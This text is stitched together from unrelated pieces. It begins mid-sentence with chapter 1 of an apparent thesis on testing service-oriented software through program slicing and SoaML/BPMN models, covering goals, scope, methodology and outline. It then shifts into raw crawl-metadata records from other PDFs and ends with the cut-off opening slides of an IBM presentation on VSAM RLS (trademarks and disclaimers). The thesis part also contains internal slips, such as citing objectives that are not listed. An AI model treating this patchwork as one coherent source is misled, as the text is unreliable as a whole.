terms of addressing the problems? – Expected outcomes: In general, the expected outcome of our research work will be a new technique or approach, and knowledge acquisition which address the issues of testing service-oriented architecture (SOA)-based software. In particular, the final research work will include the following outcomes: * Problems associated with testing service-oriented architecture (SOA)-based software. * Advantages related to the testing service-oriented architecture (SOA)-based software. * Development of some techniques for testing service-oriented architecture (SOA)-based software. * Implementing the proposed testing approach/technique in an organization. * The evaluation results of implementing the proposed test approach/technique in an organization. • Where is the problem? The problem lies in testing service-oriented architecture (SOA)-based software. • How to solve the problem? The problem can be addressed by devising suitable intermediate representations using SoaML or BPMN models and testing through program slicing technique. • Why you want to solve the problem? It helps the tester or IT vendors to test service-oriented architecture (SOA)-based software early in the design phase, so the cost of detecting and correcting errors will be less compared to error detection at coding phase. • Is the problem current? Yes, and can affect other parent software like cloud-based software too. • Will the problem continue in the future if it is not solved? No. • Who is suffering from that problem? Software testers, IT vendors and other stakeholders. • Will this improve or disprove the existing knowledge? Yes, it will improve the existing knowledge. 1.6 Motivation for Our Research Work SOA has started gaining importance in this competitive world of business and cloud-based applications. The research community along with IT vendors have started substantially contributing to the fast adoption of SOA in the business world. Between 2005 and 2007, multiple surveys were conducted by organizations such as Forrester, Gartner, and IDC, which showed that the top drivers for SOA adoption were mainly internally focused: these top drivers generally included application integration, data integration, and internal process improvement. This is changing. Forrester [73] showed that the number of organizations currently using SOA for external integration is approximately one-third of the surveyed organization [73]. While the percentage of externally focused SOA applications is still a minority, this percentage has been growing and the trend will continue as organizations look at SOA adoption for supply-chain integration, access to real-time data, and cost reduction through the use of third-party services via the cloud or software-as-a-service (SaaS). All major IT vendors, a few names, such as IBM, Tibco, Software AG, Sun Oracle, SAP and so on have made huge investments into SOA in recent years, making up a global estimated budget of $2 billion in 2007, which is further expected to rise and reach $9.1 billion by 2014 [95]. Even, corporate giants like Microsoft, IBM, Sun Oracle, SAP, Infosys have already proposed their own SOA solutions and related software products. They have also rolled out many success stories by implementing SOA in varied organizations. Even there are major SOA failures reported across the globe. The current year 2016 is a big boost for SOA as many e-commerce companies adopted SOA for their business processes. This has helped immensely to improve agility and business integration. This also gives an indication that we need more reliable SOA-based systems and their testing is inevitable. But still, the challenges are live like standardization of architectures, increased business agility, flexibility, reuse, data rationalization, integration, testing, error handling, security, costs reduction, and so on. Different SOA frameworks being used in the enterprise sector face mainly integration challenges to put together data, business process, security, and stakeholders. All these raise a vital issue of quality of SOA-based software. There is a need for SOA-based software to be testable across different enterprise applications giving emphasize on quality. Web services can be offered within organizational borders in private SOA deployments, as well as across organizational borders by third party providers. Recent years have seen an increasing number of web services made available over the internet by various service providers. As a consequence, the issues of trust and dependability on third-party providers have been receiving increasing importance. Service requesters need to ensure that provided web services satisfy their requirements in different aspects and that they have also been correctly implemented, before integrating them into their systems. Web services are a concrete implementation of the SOA concept. They incorporate appli- lications that provide a set of operations accessed by other applications through the Internet, using XML standards such as SOAP, WSDL, and UDDI. This technology enables to interconnect different enterprises and to build complex business applications which are used in safety critical environments. SOA and web services add new factors that need to be considered during software development. Hence, it goes without saying that web services that support SOA implementation opens up a lot of scope for testing. One problem with the current standard for web service description language (WSDL) is that it lacks support for service interface descriptions beyond the external interface of operation signatures. WSDL descriptions lack the means to specify the testing support of a web service so that requesters are aware of the exact behaviour expected from the consumed service. Therefore, different standards or languages are required to describe the additional functional and non-functional web service aspects, including its behaviour to support testability. To the best of our knowledge, a few SOA testing methodologies have been reported. For example according to Canfora et al. [75], SOA testing must span several levels, from individual services to inter-enterprise federations of systems and must cover functional and non-functional aspects. SOA has a unique combination of features, such as the run-time discovery of services, ultra-late binding, QoS-aware composition, and SLA automated negotiation [76]. Run-time discovery and ultra-late binding entail that the actual configuration of a system is known only during the execution and this may make many existing integrations testing techniques inadequate [76]. Last but not the least, distribution, lack of control and observability, dynamic integration with other applications, and XML standards usage are key features of this new type of software. In this context, software testing is essential to guarantee a high degree of service quality and reliability. So, there is a pressing necessity to devise a testing approach for SOA-based software. We also notice that testing approaches have been changed from traditional applications to object-oriented applications and must be changed for SOA-based software too. We have given kind attention to this aspect. With this motivation for developing techniques for testing SOA-based software, in the next section, we identify the major goals of this thesis. 1.7 Goals and Objectives of Our Research Work The main goal of our research work is to test SOA-based software through program slicing technique during design, testing and maintenance phases of software development lifecycle. To address this broad objective, we identify the following goals: 1. We first wish to compute static slices of SOA-based software using SoaML models, for this we want to develop: - Suitable intermediate representations for SOA-based software on which the slicing algorithms can be applied. - Static slicing algorithms for SOA-based software using the proposed intermediate representation. 2. Then, we wish to extend this approach for computing dynamic slices of SOA-based software, as dynamic slices are useful for interactive applications such as testing & debugging. 3. Next, we aim to test web services from its WSDL using program slicing artifacts i.e dependence graph. 4. At last, we aim to propose an approach to test SOA-based software using BPMN and SoaML models. 5. In addition to investigating our slicing algorithms and testing algorithms, theoretically, we wish to implement all the proposed algorithms experimentally for verifying their performance, correctness, and preciseness. 6. Finally, we plan to carry out an analysis of our experimental studies to draw broad conclusions about the realized work for time and space requirements. Fig. 1.10 presents a conceptual schema of our work targeted towards meeting the aforementioned objectives. It shows that a key component of our work focuses on representation of SoaML models that is suitable for model slicing. The conceptual schema depicted in Fig. 1.10 comprises four blocks viz., input, algorithm, implementation, and output respectively. The input block depicts the different inputs to be given, namely, a SoaML model and a slicing criterion, that can be given to the algorithm block. Moreover, a SoaML system design is supposed to be given input using the interfaces, contracts, participants, choreographies, and architectures models. Next, the box titled “proposed technique” represents the algorithm block depicting that this thesis deals with proposing model slicing algorithms. Further, the implementation block indicates that the experimental studies presented in this thesis are carried out through the development of different prototype tools. This is represented using a box titled “prototype tool” for the corresponding technique proposed in the algorithm block. Subsequently, the output block shows the expected outcome from the thesis work viz., intermediate representation, static and dynamic model slices. In the context of the above-identified objectives for our work, the block marked algorithm in the conceptual schema corresponds to the Objectives 1, 2 while the implementation block corresponds to the Objectives 6, 7. Next, Fig. 1.11 presents a conceptual schema of our work targeted towards meeting the aforementioned objectives. It shows that a key component of our work focuses on web service description language (WSDL) that is suitable for black-box testing. The conceptual schema depicted in Fig. 1.11 comprises four blocks viz., input, technique/approach, implementation, and output respectively. The input block depicts the different inputs to be given, namely, a WSDL, XSD, and a test case, that can be given to the technique/approach block. Moreover, an SOA-based software is supposed to be given input using the SOA artifacts such as XML, XSD, WSDL, SOAP, and UDDI. Next, the box titled “proposed technique” represents the algorithm block depicting that this thesis deals with proposing an extension to WSDL using XSD. Further, the implementation block indicates that the experimental studies presented in this thesis are carried out through the testing tools. This is represented using a box titled “open source testing tool” for the corresponding technique proposed in the technique/approach block. Subsequently, the output block shows the actual results from executing test cases. In the context of the above-identified objectives for our work, the block FIGURE 1.11: Conceptual schema of the planned work referencing objectives 3, 5 and 6 marked technique/approach in the conceptual schema corresponds to the Objectives 3 while the implementation block corresponds to the Objectives 5, 6. FIGURE 1.12: Conceptual schema of the planned work referencing objectives 4, 5 and 6 Further, Fig. 1.12 presents a conceptual schema of our work targeted towards meeting the aforementioned objectives. It shows that a key component of our work focuses on SoaML and BPMN models. The conceptual schema depicted in Fig. 1.12 comprises three blocks viz., input, algorithm & implementation, and output respectively. The input block depicts the different inputs to be given, namely, a SoaML service interface diagram and BPMN diagram that can be given to the algorithm&implementation block. Next, the box titled “proposed technique” represents the algorithm block depicting that this thesis deals with proposing CFG generation, test path generation, XSD schema generation, XSD schema instance generation, and test case execution respectively for each model. Subsequently, the output block shows the test result from this technique. In the context of the above-identified objectives for our work, the block marked algorithm&implementation in the conceptual schema corresponds to the Objectives 4, 5, and 6. 1.8 Scope of Our Research Work The scope of our work will be limited up to service-oriented software testing. It includes which aspects of SOA-based software should be tested (specification/model/code), the elements to be tested (web service, web service description language (WSDL), XML schema (XSD), universal description discovery and integration (UDDI), simple object access protocol (SOAP)) and other XML artifacts produced during the testing effort. Also, it includes testing strategies for the unit, integration, and systems-level testing of SOA based web services (for both functional and non-functional attributes). This means that instead of covering small pieces of testing SOA software development process, we preferred to advance as far as possible on slicing and testing SOA-based software with the aim of being able to present convincing solutions to the SOA challenges discussed in Section 2.4. Without a doubt, slicing and testing service-oriented software are complex problems as well and deserve to be investigated intensively, which has been done in the scope of this thesis. 1.9 Original Contributions of Our Research Work In this research work, we have made progress in the field of slicing and testing service-oriented software. We have developed novel techniques for solving the previously listed challenges and implemented software prototypes to prove the applicability of our concepts. The most significant contributions and achievements are as follows: - A simple technique for static slicing of SOA-based software, based on an intermediate representations. - A technique for dynamic slicing of SOA-based software, using an intermediate representations. • An approach for testing SOA-based software, based on WSDL which provides business flexibility. • Some approaches for testing SOA-based software using BPMN and SoaML models. Moreover, we have published the software prototype as open-source, as a contribution to the research community. 1.10 Evaluation of Our Contributions The presentation of novel concepts always requires an evaluation in order to prove their applicability, usefulness, and correctness. Depending on the type of concepts, different types of evaluations make sense to be applied. For this work, however, the evaluation was not trivial. We have performed a comparative evaluation, by matching our approach to other available ones, in order to prove applicability of our proposed concepts. This is mainly due to the novelty of our work and the lack of direct competitors. Also, we have not done a precise performance evaluation, as our contribution is not about performance issues nor does it prove the quality of our approach in any case. It would merely assess the applicability of our prototype implementation, which is primary importance being a proof of concept. Without a doubt, a real-world evaluation, where our concepts and prototypes are applied in real SOA development projects would make the most sense and give valuable insights into how much the testing process got improved by our contribution. Unfortunately, this was not possible as (i) we did not have access to test a significant number of real-world SOA projects and (ii) it would have been not easy to convince the testers to apply our prototype implementation in their work. Instead, we evaluated our concepts in a selective manner, choosing what we regarded as reasonable and realizable case studies. For instance, we included a test case generation technique which deals with generating test cases at design time from SoaML service interface diagrams. In contrast to that, we tested SOA-based software at the run-time, which has a significant effect on test results. Moreover, we applied our approach to several standardized case study projects for an internal assessment and as a proof of usability of the prototype implementation. 1.11 Research Methodology The term *methodology* refers to the overall approaches and perspectives of the research process as a whole. A preliminary total of four research questions is proposed for our research work. The answer to each research question is associated with proper selection of research methods. - **Qualitative Methods** The qualitative part of the research deals with the participatory knowledge claims, open-ended interviewing and narrative design. First, the knowledge participates for finding the related problems through literature and interviews along with designing the narrative solution for the problem. The RQ1, RQ2, and RQ3 will be answered through interviews and literature review, which will identify the problems and benefits related to testing SOA-based software. In addition, the process will be defined after analyzing the results of RQ1, RQ2, and RQ3. - **Quantitative Methods** The quantitative part of the research deals with the experimental strategy of testing SOA-based software, results, and their comparisons. First, the study defines the testing process and then collects/creates the data to observe the testing process. To evaluate the defined testing approach in the qualitative part, experimentation is needed for the evaluation of its effectiveness in order to answer RQ3 and RQ4. The design of the experiment has been finalized after having a discussion with the supervisor. Experiments have been performed and demonstrated to the supervisor. Even the results are produced for comparison with related work. - **Research Question Methodology** - RQ1: Literature Review - RQ2: Literature Review - RQ3: Interview/Experiment - RQ4: Experiment Finally, we announce our data formulation process required for our work by raising various questions as mentioned below: - Why did you collect certain data? • What data you collected? • From where you collected it? • How you collected it? • How you analyzed it? The main research methodologies to generate data for our testing purpose can be linked to two approaches named positivistic research and phenomenological research. The positivistic research approach includes surveys, experimental studies, longitudinal studies, and cross-sectional studies. The phenomenological research approach includes case studies, action research, ethnography, participative inquiry, feminist perspectives, and grounded theory. For our research work, we have followed the following specific methodologies which have been selected from both positivistic and phenomenological research approaches: • Descriptive survey is concerned with identifying and counting the frequency of a particular response among the survey group. • Analytical survey is used to analyze the relationship between different elements (variables) in a sample group. • Experimental studies are carried out in carefully controlled and structured environments and enables the causal relationships of phenomena to be identified and analyzed. The variables can be manipulated or controlled to observe the effects on the subjects studied. • Longitudinal studies are carried out over an extended period to observe the effect that time has on the situation under observation and to collect primary data (data collected at first hand) of these changes. • Case studies offer the opportunity to study a particular subject and usually involves gathering and analyzing information. Information may be both qualitative and quantitative. Case studies can be used to formulate theories or, be: – Descriptive (e.g. where current practice is described in detail) – Illustrative (e.g. where the case studies illustrate new practices adopted by an organization) – Experimental (e.g. where difficulties in adopting new practices or procedures are examined) – Explanatory (e.g. where theories are used as a basis for understanding and explaining practices or procedures) 1.12 Outline of the Thesis The rest of the thesis is organized into chapters as follows. Chapter 2 discusses the basic concepts related to program slicing, service-oriented architecture (SOA), and software testing which are used in the rest of the thesis. We discuss some graph-theoretic concepts and definitions which will be used later in our algorithms. Then, we discuss some intermediate program representation concepts which are used in slicing techniques. Then, we discuss the concepts of precision and correctness of a dynamic slice. Further, we discuss service-oriented architecture (SOA) layers and its architectural principles. Finally, we discuss software testing. Chapter 3 provides a brief review of the related work relevant to our contribution. In this chapter, we first discuss the work on static slicing of service-oriented software. Then, we discuss the work on dynamic slicing of service-oriented software. Further, we discuss the related work on white-box testing of web services. Finally, we discuss the work reported on WSDL based testing and model-based test case generation technique. Chapter 4 presents our static slicing algorithm for service-oriented software using service oriented architecture modeling language (SoaML) service interface diagram. We first discuss some definitions related to static slicing. This is followed by the proposal of an intermediate representation for service-oriented software named SIDG (service interface dependency graph) and then a static slicing algorithm SSSIM (static slicing of service interface model) along with its pseudocode. A complexity analysis for SSSIM is next presented. Finally, we present an implementation of our prototype tool and discuss the experimental results obtained using the prototype tool. Chapter 5 presents our dynamic slicing algorithm for service-oriented software using service oriented architecture modeling language (SoaML) choreography diagram. We introduce few basic concepts and definitions pertinent to the dynamic slicing of service-oriented software. We first develop an intermediate representation of service-oriented software called SOSDG (service-oriented software dependence graph) and then present the dynamic slicing algorithm MBGDS (marking based global dynamic slicing) along with its pseudocode. The complexity analysis of MBGDS is next discussed. Subsequently, based on our MBGDS algorithm, we describe a prototype tool implementation named SOSDS (service-oriented software dynamic slicer). We also present the experimental results obtained in slicing sev- eral SoaML models using SOSDS. We claim that our algorithm MBGDS computes correct dynamic slices. **Chapter 6** reports our approaches for carrying out black-box testing of service-oriented software. In the first technique of black-box testing, we first present fundamentals of web service description language (WSDL) document, which describes the service interface and is of prime focus for black-box testing. Next, we present our proposal of extending the WSDL document. Then, we describe the proof of our extension by carrying out black-box testing using various WSDL data sets. Finally, we claim that our extension increases testability of web services without violating the architectural principles of services. Secondly, we present novel approaches to test service-oriented software using BPMN and SoaML models. First, we describe our testing algorithm for service-oriented software using BPMN (business process modeling notation) diagram. In this approach, we present a CFG generation algorithm and its implementation. Subsequently, we discuss the test path and test case execution for the generated CFG. In the second approach, we present another algorithm for testing service-oriented software using SoaML (service oriented architecture modeling language) service interface diagram. In that context, we discuss the XML schema generation and its instance generation process. Finally, we discuss the test case execution of XML schema instance. **Chapter 7** concludes the thesis with a summary of our contributions. Finally, we discuss the possible future extensions to our work. The work flow diagram of the complete thesis is shown in Fig. 1.13. **FIGURE 1.13: Thesis outline**
{"Source-Url": "https://sg.inflibnet.ac.in/bitstream/10603/134258/10/10_chapter1.pdf", "len_cl100k_base": 11031, "olmocr-version": "0.1.53", "pdf-total-pages": 29, "total-fallback-pages": 0, "total-input-tokens": 53621, "total-output-tokens": 12383, "length": "2e13", "weborganizer": {"__label__adult": 0.0003192424774169922, "__label__art_design": 0.00030040740966796875, "__label__crime_law": 0.0002593994140625, "__label__education_jobs": 0.0009517669677734376, "__label__entertainment": 4.571676254272461e-05, "__label__fashion_beauty": 0.00012612342834472656, "__label__finance_business": 0.0001552104949951172, "__label__food_dining": 0.000263214111328125, "__label__games": 0.00045418739318847656, "__label__hardware": 0.0005154609680175781, "__label__health": 0.00027108192443847656, "__label__history": 0.00017201900482177734, "__label__home_hobbies": 5.97834587097168e-05, "__label__industrial": 0.0002225637435913086, "__label__literature": 0.0002579689025878906, "__label__politics": 0.00016605854034423828, "__label__religion": 0.0003230571746826172, "__label__science_tech": 0.004390716552734375, "__label__social_life": 7.289648056030273e-05, "__label__software": 0.003801345825195313, "__label__software_dev": 0.986328125, "__label__sports_fitness": 0.0002288818359375, "__label__transportation": 0.0003275871276855469, "__label__travel": 0.00015294551849365234}, "weborganizer_max": "__label__software_dev", "avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_ratio": [[0, 57322, 0.01628]], "fineweb_edu_fasttext_gt2__fineweb_edu_fasttext_gt2__score": [[0, 57322, 0.42512]], "ft_lang_id_en_doc_v2__ft_lang_id_en_doc_v2__en": [[0, 57322, 0.92722]], "google_gemma-3-12b-it_contains_pii": [[0, 2323, false], [2323, 4634, null], [4634, 6232, null], [6232, 7329, null], [7329, 7968, null], [7968, 9641, null], [9641, 12164, null], [12164, 14981, null], [14981, 16868, null], [16868, 19439, null], [19439, 21814, null], [21814, 23983, null], [23983, 25184, null], [25184, 26223, null], [26223, 28485, null], [28485, 31163, null], [31163, 32744, null], [32744, 34391, null], [34391, 37359, null], [37359, 39824, null], [39824, 41926, null], [41926, 43923, null], [43923, 44776, null], [44776, 46947, null], [46947, 49128, null], [49128, 50996, null], [50996, 52944, null], [52944, 55631, null], [55631, 57322, null]], "google_gemma-3-12b-it_is_public_document": [[0, 2323, true], [2323, 4634, null], [4634, 6232, null], [6232, 7329, null], [7329, 7968, null], [7968, 9641, null], [9641, 12164, null], [12164, 14981, null], [14981, 16868, null], [16868, 19439, null], [19439, 21814, null], [21814, 23983, null], [23983, 25184, null], [25184, 26223, null], [26223, 28485, null], [28485, 31163, null], [31163, 32744, null], [32744, 34391, null], [34391, 37359, null], [37359, 39824, null], [39824, 41926, null], [41926, 43923, null], [43923, 44776, null], [44776, 46947, null], [46947, 49128, null], [49128, 50996, null], [50996, 52944, null], [52944, 55631, null], [55631, 57322, null]], "google_gemma-3-4b-it_v2tag__is_academic_paper": [[0, 5000, true], [5000, 57322, null]], "google_gemma-3-4b-it_v2tag__is_class_syllabus": [[0, 5000, false], [5000, 57322, null]], "google_gemma-3-4b-it_v2tag__is_completion_certificate": [[0, 5000, false], [5000, 57322, null]], "google_gemma-3-4b-it_v2tag__is_court_notice": [[0, 5000, false], [5000, 57322, null]], "google_gemma-3-4b-it_v2tag__is_homework_assignment": [[0, 5000, false], [5000, 57322, null]], "google_gemma-3-4b-it_v2tag__is_news_article": [[0, 5000, false], [5000, 57322, null]], "google_gemma-3-4b-it_v2tag__is_public_order": [[0, 5000, false], [5000, 57322, null]], "google_gemma-3-4b-it_v2tag__is_resume_cv": [[0, 5000, false], [5000, 57322, null]], "google_gemma-3-4b-it_v2tag__is_test_or_quiz": [[0, 5000, false], [5000, 57322, null]], "google_gemma-3-4b-it_v2tag__is_textbook": [[0, 5000, false], [5000, 57322, null]], "pdf_page_numbers": [[0, 2323, 1], [2323, 4634, 2], [4634, 6232, 3], [6232, 7329, 4], [7329, 7968, 5], [7968, 9641, 6], [9641, 12164, 7], [12164, 14981, 8], [14981, 16868, 9], [16868, 19439, 10], [19439, 21814, 11], [21814, 23983, 12], [23983, 25184, 13], [25184, 26223, 14], [26223, 28485, 15], [28485, 31163, 16], [31163, 32744, 17], [32744, 34391, 18], [34391, 37359, 19], [37359, 39824, 20], [39824, 41926, 21], [41926, 43923, 22], [43923, 44776, 23], [44776, 46947, 24], [46947, 49128, 25], [49128, 50996, 26], [50996, 52944, 27], [52944, 55631, 28], [55631, 57322, 29]], "pipe_delimited_lines_v1__pipe_delimited_lines_v1__pipe_delimited_lines_ratio": [[0, 57322, 0.0]]}
olmocr_science_pdfs
2024-12-06
2024-12-06
8ea6b056b1a7227c8656033ece9e27b08ddb71ee
[REMOVED]
{"Source-Url": "http://mas.cs.umass.edu/Documents/lesser-jamma98.pdf", "len_cl100k_base": 11449, "olmocr-version": "0.1.50", "pdf-total-pages": 22, "total-fallback-pages": 0, "total-input-tokens": 54746, "total-output-tokens": 16503, "length": "2e13", "weborganizer": {"__label__adult": 0.0003380775451660156, "__label__art_design": 0.0009279251098632812, "__label__crime_law": 0.0004420280456542969, "__label__education_jobs": 0.002719879150390625, "__label__entertainment": 0.000156402587890625, "__label__fashion_beauty": 0.0002142190933227539, "__label__finance_business": 0.0008449554443359375, "__label__food_dining": 0.00037384033203125, "__label__games": 0.0009021759033203124, "__label__hardware": 0.0010709762573242188, "__label__health": 0.0007157325744628906, "__label__history": 0.0006580352783203125, "__label__home_hobbies": 0.0001823902130126953, "__label__industrial": 0.0007314682006835938, "__label__literature": 0.0006203651428222656, "__label__politics": 0.0005640983581542969, "__label__religion": 0.0005383491516113281, "__label__science_tech": 0.331787109375, "__label__social_life": 0.00015628337860107422, "__label__software": 0.0203857421875, "__label__software_dev": 0.63427734375, "__label__sports_fitness": 0.0002741813659667969, "__label__transportation": 0.0008091926574707031, "__label__travel": 0.00026917457580566406}, "weborganizer_max": "__label__software_dev", "avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_ratio": [[0, 78294, 0.03058]], "fineweb_edu_fasttext_gt2__fineweb_edu_fasttext_gt2__score": [[0, 78294, 0.50622]], "ft_lang_id_en_doc_v2__ft_lang_id_en_doc_v2__en": [[0, 78294, 0.92794]], "google_gemma-3-12b-it_contains_pii": [[0, 2539, false], [2539, 6869, null], [6869, 11371, null], [11371, 15846, null], [15846, 20042, null], [20042, 24384, null], [24384, 28803, null], [28803, 33302, null], [33302, 37665, null], [37665, 40140, null], [40140, 44112, null], [44112, 44734, null], [44734, 48873, null], [48873, 53085, null], [53085, 56995, null], [56995, 59859, null], [59859, 63039, null], [63039, 66143, null], [66143, 69384, null], [69384, 71838, null], [71838, 75567, null], [75567, 78294, null]], "google_gemma-3-12b-it_is_public_document": [[0, 2539, true], [2539, 6869, null], [6869, 11371, null], [11371, 15846, null], [15846, 20042, null], [20042, 24384, null], [24384, 28803, null], [28803, 33302, null], [33302, 37665, null], [37665, 40140, null], [40140, 44112, null], [44112, 44734, null], [44734, 48873, null], [48873, 53085, null], [53085, 56995, null], [56995, 59859, null], [59859, 63039, null], [63039, 66143, null], [66143, 69384, null], [69384, 71838, null], [71838, 75567, null], [75567, 78294, null]], "google_gemma-3-4b-it_v2tag__is_academic_paper": [[0, 5000, true], [5000, 78294, null]], "google_gemma-3-4b-it_v2tag__is_class_syllabus": [[0, 5000, false], [5000, 78294, null]], "google_gemma-3-4b-it_v2tag__is_completion_certificate": [[0, 5000, false], [5000, 78294, null]], "google_gemma-3-4b-it_v2tag__is_court_notice": [[0, 5000, false], [5000, 78294, null]], "google_gemma-3-4b-it_v2tag__is_homework_assignment": [[0, 5000, false], [5000, 78294, null]], "google_gemma-3-4b-it_v2tag__is_news_article": [[0, 5000, false], [5000, 78294, null]], "google_gemma-3-4b-it_v2tag__is_public_order": [[0, 5000, false], [5000, 78294, null]], "google_gemma-3-4b-it_v2tag__is_resume_cv": [[0, 5000, false], [5000, 78294, null]], "google_gemma-3-4b-it_v2tag__is_test_or_quiz": [[0, 5000, false], [5000, 78294, null]], "google_gemma-3-4b-it_v2tag__is_textbook": [[0, 5000, false], [5000, 78294, null]], "pdf_page_numbers": [[0, 2539, 1], [2539, 6869, 2], [6869, 11371, 3], [11371, 15846, 4], [15846, 20042, 5], [20042, 24384, 6], [24384, 28803, 7], [28803, 33302, 8], [33302, 37665, 9], [37665, 40140, 10], [40140, 44112, 11], [44112, 44734, 12], [44734, 48873, 13], [48873, 53085, 14], [53085, 56995, 15], [56995, 59859, 16], [59859, 63039, 17], [63039, 66143, 18], [66143, 69384, 19], [69384, 71838, 20], [71838, 75567, 21], [75567, 78294, 22]], "pipe_delimited_lines_v1__pipe_delimited_lines_v1__pipe_delimited_lines_ratio": [[0, 78294, 0.0]]}
olmocr_science_pdfs
2024-12-03
2024-12-03
df8c50bb387e86fcf854c2a81ececc0ed499cfe3
[REMOVED]
{"Source-Url": "https://rest.neptune-prod.its.unimelb.edu.au/server/api/core/bitstreams/997ba699-d13a-5008-b048-fd776a3e59a0/content", "len_cl100k_base": 15353, "olmocr-version": "0.1.50", "pdf-total-pages": 21, "total-fallback-pages": 0, "total-input-tokens": 77225, "total-output-tokens": 19380, "length": "2e13", "weborganizer": {"__label__adult": 0.0003447532653808594, "__label__art_design": 0.0007038116455078125, "__label__crime_law": 0.0004241466522216797, "__label__education_jobs": 0.002887725830078125, "__label__entertainment": 0.00011581182479858398, "__label__fashion_beauty": 0.00023257732391357425, "__label__finance_business": 0.000980377197265625, "__label__food_dining": 0.0004315376281738281, "__label__games": 0.0008993148803710938, "__label__hardware": 0.0016651153564453125, "__label__health": 0.0007233619689941406, "__label__history": 0.0004949569702148438, "__label__home_hobbies": 0.0002593994140625, "__label__industrial": 0.0013790130615234375, "__label__literature": 0.0005311965942382812, "__label__politics": 0.0003464221954345703, "__label__religion": 0.0005784034729003906, "__label__science_tech": 0.357666015625, "__label__social_life": 0.00015401840209960938, "__label__software": 0.01453399658203125, "__label__software_dev": 0.61328125, "__label__sports_fitness": 0.00030493736267089844, "__label__transportation": 0.0010356903076171875, "__label__travel": 0.0002135038375854492}, "weborganizer_max": "__label__software_dev", "avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_ratio": [[0, 65908, 0.03171]], "fineweb_edu_fasttext_gt2__fineweb_edu_fasttext_gt2__score": [[0, 65908, 0.35351]], "ft_lang_id_en_doc_v2__ft_lang_id_en_doc_v2__en": [[0, 65908, 0.86169]], "google_gemma-3-12b-it_contains_pii": [[0, 2632, false], [2632, 4923, null], [4923, 8992, null], [8992, 11920, null], [11920, 14827, null], [14827, 18350, null], [18350, 22424, null], [22424, 25824, null], [25824, 28679, null], [28679, 31567, null], [31567, 35673, null], [35673, 38956, null], [38956, 42955, null], [42955, 46275, null], [46275, 49573, null], [49573, 52864, null], [52864, 55343, null], [55343, 58716, null], [58716, 61906, null], [61906, 65278, null], [65278, 65908, null]], "google_gemma-3-12b-it_is_public_document": [[0, 2632, true], [2632, 4923, null], [4923, 8992, null], [8992, 11920, null], [11920, 14827, null], [14827, 18350, null], [18350, 22424, null], [22424, 25824, null], [25824, 28679, null], [28679, 31567, null], [31567, 35673, null], [35673, 38956, null], [38956, 42955, null], [42955, 46275, null], [46275, 49573, null], [49573, 52864, null], [52864, 55343, null], [55343, 58716, null], [58716, 61906, null], [61906, 65278, null], [65278, 65908, null]], "google_gemma-3-4b-it_v2tag__is_academic_paper": [[0, 5000, true], [5000, 65908, null]], "google_gemma-3-4b-it_v2tag__is_class_syllabus": [[0, 5000, false], [5000, 65908, null]], "google_gemma-3-4b-it_v2tag__is_completion_certificate": [[0, 5000, false], [5000, 65908, null]], "google_gemma-3-4b-it_v2tag__is_court_notice": [[0, 5000, false], [5000, 65908, null]], "google_gemma-3-4b-it_v2tag__is_homework_assignment": [[0, 5000, false], [5000, 65908, null]], "google_gemma-3-4b-it_v2tag__is_news_article": [[0, 5000, false], [5000, 65908, null]], "google_gemma-3-4b-it_v2tag__is_public_order": [[0, 5000, false], [5000, 65908, null]], "google_gemma-3-4b-it_v2tag__is_resume_cv": [[0, 5000, false], [5000, 65908, null]], "google_gemma-3-4b-it_v2tag__is_test_or_quiz": [[0, 5000, false], [5000, 65908, null]], "google_gemma-3-4b-it_v2tag__is_textbook": [[0, 5000, false], [5000, 65908, null]], "pdf_page_numbers": [[0, 2632, 1], [2632, 4923, 2], [4923, 8992, 3], [8992, 11920, 4], [11920, 14827, 5], [14827, 18350, 6], [18350, 22424, 7], [22424, 25824, 8], [25824, 28679, 9], [28679, 31567, 10], [31567, 35673, 11], [35673, 38956, 12], [38956, 42955, 13], [42955, 46275, 14], [46275, 49573, 15], [49573, 52864, 16], [52864, 55343, 17], [55343, 58716, 18], [58716, 61906, 19], [61906, 65278, 20], [65278, 65908, 21]], "pipe_delimited_lines_v1__pipe_delimited_lines_v1__pipe_delimited_lines_ratio": [[0, 65908, 0.0]]}
olmocr_science_pdfs
2024-11-28
2024-11-28
33e8312a00c5aa4de6e87a3db5f197382fb6e956
DFSMS Basics: VSAM VSAM RLS Best Practices How to leverage VSAM RLS best practices and performance in your environment David LeGendre, dlegendr@us.ibm.com Session: 10967 Trademarks DFSMSdfp, DFSMSdss, DFSMSHsm, DFSMSrmm, IBM, IMS, MVS, MVS/DFP, MVS/ESA, MVS/SP, MVS/XA, OS/390, SANergy, and SP are trademarks of International Business Machines Corporation in the United States, other countries, or both. AIX, CICS, DB2, DFSMS/MVS, Parallel Sysplex, OS/390, S/390, Seascape, and z/OS are registered trademarks of International Business Machines Corporation in the United States, other countries, or both. Domino, Lotus, Lotus Notes, Notes, and SmartSuite are trademarks or registered trademarks of Lotus Development Corporation. Tivoli, TME, Tivoli Enterprise are trademarks of Tivoli Systems Inc. in the United States and/or other countries. Java and all Java-based trademarks are trademarks of Sun Microsystems, Inc. in the United States, other countries, or both. UNIX is a registered trademark in the United States and other countries licensed exclusively through The Open Group. Other company, product, and service names may be trademarks or service marks of others. Notices & Disclaimers Copyright © 2012 by International Business Machines Corporation. No part of this document may be reproduced or transmitted in any form without written permission from IBM Corporation. Product information and data has been reviewed for accuracy as of the date of initial publication. Product information and data is subject to change without notice. This document could include technical inaccuracies or typographical errors. IBM may make improvements and/or changes in the product(s) and/or programs(s) described herein at any time without notice. References in this document to IBM products, programs, or services does not imply that IBM intends to make such such products, programs or services available in all countries in which IBM operates or does business. Consult your local IBM representative or IBM Business Partner for information about the product and services available in your area. Any reference to an IBM Program Product in this document is not intended to state or imply that only that program product may be used. Any functionally equivalent program, that does not infringe IBM's intellectually property rights, may be used instead. It is the user's responsibility to evaluate and verify the operation of any non-IBM product, program or service. THE INFORMATION PROVIDED IN THIS DOCUMENT IS DISTRIBUTED "AS IS" WITHOUT ANY WARRANTY, EITHER EXPRESS OR IMPLIED. IBM EXPRESSLY DISCLAIMS ANY WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE OR INFRINGEMENT. IBM shall have no responsibility to update this information. IBM products are warranted according to the terms and conditions of the agreements (e.g., IBM Customer Agreement, Statement of Limited Warranty, International Program License Agreement, etc.) under which they are provided. IBM is not responsible for the performance or interoperability of any non-IBM products discussed herein. Notices & Disclaimers The performance data contained herein was obtained in a controlled, isolated environment. 